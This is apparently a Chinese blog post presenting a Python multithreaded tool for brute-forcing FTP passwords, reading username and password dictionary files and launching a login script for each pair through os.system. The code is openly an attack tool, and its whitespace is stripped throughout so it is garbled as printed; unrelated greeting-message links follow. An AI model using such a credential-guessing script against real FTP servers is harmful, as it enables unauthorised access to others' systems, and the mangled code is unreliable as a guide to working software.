python编写暴力破解FTP密码小工具
python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。
下面直接上代码,下面是主文件
importos importtime importthreading
classmythread(threading.Thread): def__init__(self,command): threading.Thread.__init__(self) self.command=command defrun(self): kk=os.system(self.command) ushand=open(“user.txt”,”r”) pshand=open(“passwd.txt”,”r”) listuser=[] listpass=[] forusinopen(“user.txt”,”r”): lineus=ushand.readline().strip(‘\n') listuser.append(lineus) forpsinopen(“passwd.txt”,”r”): lineps=pshand.readline().strip(‘\n') listpass.append(lineps) foriinlistuser: forjinlistpass: command=”ftp.py%s%s”%(i,j) printcommand my_thread=mythread(command) my_thread.start() time.sleep(0.1)
热门推荐
10 看病住院的祝福语简短
11 客户激活花束祝福语简短
12 疫情高考父母祝福语简短
13 爸爸爱打牌祝福语简短
14 儿子生病父母祝福语简短
15 虎年找钱祝福语大全简短
16 生日的祝福语 文案简短
17 老婆侄女礼物祝福语简短
18 感恩相片祝福语简短